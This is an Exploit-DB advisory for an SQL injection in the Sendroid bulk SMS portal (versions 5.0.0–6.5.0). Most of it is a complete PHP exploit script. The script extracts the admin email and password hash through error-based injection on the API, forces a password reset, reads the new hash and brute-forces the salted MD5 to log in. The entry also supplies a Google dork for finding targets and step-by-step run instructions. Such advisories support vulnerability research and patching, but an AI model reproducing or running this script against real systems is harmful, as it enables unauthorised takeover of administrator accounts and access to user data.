Sendroid < 6.5.0 - SQL Injection

EDB-ID:

43395

CVE:

N/A




Platform:

PHP

Date:

2017-12-26


# Exploit Title: Sendroid - Bulk SMS Portal, Marketing Script( 5.0.0 - 6.5.0 ) - SQL Injection
# Google Dork: "welcome to * SMS portal"
# Date: 22/12/2017
# Exploit Author: Onwuka Gideon <dongiodmed[@]gmail[.]com>
Contact: http://twitter.com/@gideon_onwuka
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225
# Version: 5.0.0 - 6.5.0
# Tested on: Mac OS


1. Description

The softaware suffers from SQL Injection:
"/API/index.php?action=compose&username=sender&api_key=sdsd&sender"

2. Script (Automatic takeover)

Attached to mail

4. How to run Script
  You must have PHP installed on your system to run the script.

   - First, copy the code to a file and save(eg: sendroid_exploit.php)
   - Open up your command line and CD into the directory where you saved the file.
   - Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms"

Note: The URL should be a direct link to where the software is installed.

3. Proof of Concept
 
Run the script for example:
  php -f sendroid_exploit.php url=http://localhost/sms

<?php
/**
* A script to authomatically get admin password
* 
* @author: Onwuka Gideon <dongidomed[@]gmail[.]com>
* 
*/

parse_str(implode('&', array_slice($argv, 1)), $_GET);

$queries =[
	"sql_get_email" => "/*!12345SELECT*/+email+FROM+users+WHERE+username='admin'",
	"sql_get_password0" => "/*!12345SELECT*/+SUBSTRING(password,1,32)+FROM+users+WHERE+username='admin'",
	"sql_get_password1" => "/*!12345SELECT*/+SUBSTRING(password,33)+FROM+users+WHERE+username='admin'",
];

$payload = "/API/index.php?action=compose&username=asdasd%27)%20OR%20(SELECT%203321%20FROM(SELECT%20COUNT(*),CONCAT+((<query>),FLOOR(RAND(0)*2))x%20FROM%20/*!INFORMATION_SCHEMA*/.PLUGINS%20GROUP%20BY%20x)a)--%20RPjw&api_key=sdsd&sender";
// 

checkCommands();

print_r(getEmailAndPassword($_GET['url'], $payload, $queries));


/**
*
* Checks if minimum expected command is issued 
* 
* @param: $_GET
* @return; Boolean 
**/


function checkCommands(){
    
    //url  && shell
    $url = $_GET['url'] ?? "";
    
    if( $url == "" ) {

    	"Please enter a target";

    	help();
    	exit(1);
    }
}

// Print help message
function help(){

	echo "Invalid command " . PHP_EOL;
	echo "eg php -f sendroid_exploit.php url=https://localhost/sms" . PHP_EOL;
	echo "" . PHP_EOL;
}


// ==
// == Reset password and Get the Password hash
// ==
function getEmailAndPassword($url, $payload, $queries){
   
   //>> Fetch admin email
   echo "Fetching admin email....:";
     $sql_get_email = $url . str_replace("<query>", $queries['sql_get_email'], $payload);
     $email = extractValue(makeRequest($sql_get_email));
   echo $email . PHP_EOL.PHP_EOL;
   //<< EndFetch admin email

   //>> Fetch admin old pass
   echo "Fetching admin old password...:";
     $sql_old_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
     $sql_old_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
     $old_password = extractValue(makeRequest($sql_old_password0), 'password') . extractValue(makeRequest($sql_old_password1), 'password');
   echo $old_password . PHP_EOL.PHP_EOL;
   //<< End Fetch admin old

   // Now we have the old password and admin email
   // reset password
   echo "Resetting password...:"; 
     $forgot_password = $url . "/administrator/index.php?reset&p";
     makeRequest($forgot_password, "POST", ["userEmail" => $email]);
   echo " Done!" . PHP_EOL.PHP_EOL;

   //>> Fetch admin new password
   echo "Getting new password...:";
     $sql_new_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
     $sql_new_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
     $new_password = extractValue(makeRequest($sql_new_password0), 'password') . extractValue(makeRequest($sql_new_password1), 'password');
   echo $new_password . PHP_EOL.PHP_EOL;
   //<< End Fetch admin new password

   //>> Cracking password
   echo "Craking password...:";
     $password = crackPassword($new_password);
   echo $password . PHP_EOL.PHP_EOL;
   //<< Cracking password

   // return $sql_get_email;
   return ["email" => $email, "password" => $password];
}

//
// POST and GET request
// ==
function makeRequest($url, $method = "GET", $parameter = []){

	// Get cURL resource
	$curl = curl_init();
	// Set some options - we are passing in a useragent too here
	if( strtolower($method) == "post" ){
		curl_setopt_array($curl, [
		    CURLOPT_RETURNTRANSFER => 1,
		    CURLOPT_URL => $url,
		    CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
		    CURLOPT_POST => 1,
		    CURLOPT_POSTFIELDS => $parameter
		]);
    }
    else{

    	curl_setopt_array($curl, [
		    CURLOPT_RETURNTRANSFER => 1,
		    CURLOPT_URL => $url,
		    CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'
		]);
    }
	// Send the request & save response to $resp
	$resp = curl_exec($curl);
	// Close request to clear up some resources
	curl_close($curl);

	return $resp;
}

// Extract the real value 
function extractValue($payload, $what = "email"){
   
   $patterns = []; $patterns[0] = "/ for key 'group_key'/"; $patterns[1] = "/Duplicate entry /"; $patterns[2] = "/\s\s+/"; $patterns[3] = "/'/";  
   $replacements = [];  $replacement[0] = ""; $replacements[1] = ""; $replacements[2] = ""; $replacements[3] = "";
   
   $result = preg_replace($patterns, $replacements, $payload);
     
    return substr($result, 0, -1);
}


function crackPassword($password){
    
   echo " cracking... please wait... ";

   $pwsalt = explode( ":",$password );	

   for ($i=1; $i < 20000000000000 ; $i++) { 

   	 if(md5($i . $pwsalt[1]) == $pwsalt[0] ) {	

       return $i;
     }

   }

   return "Could not crack password";
}

If you successfully run the script, you'll get the admin password. You can login to the admin portal:
localhost/sms/administrator/

4. Solution:
   
Update to the latest version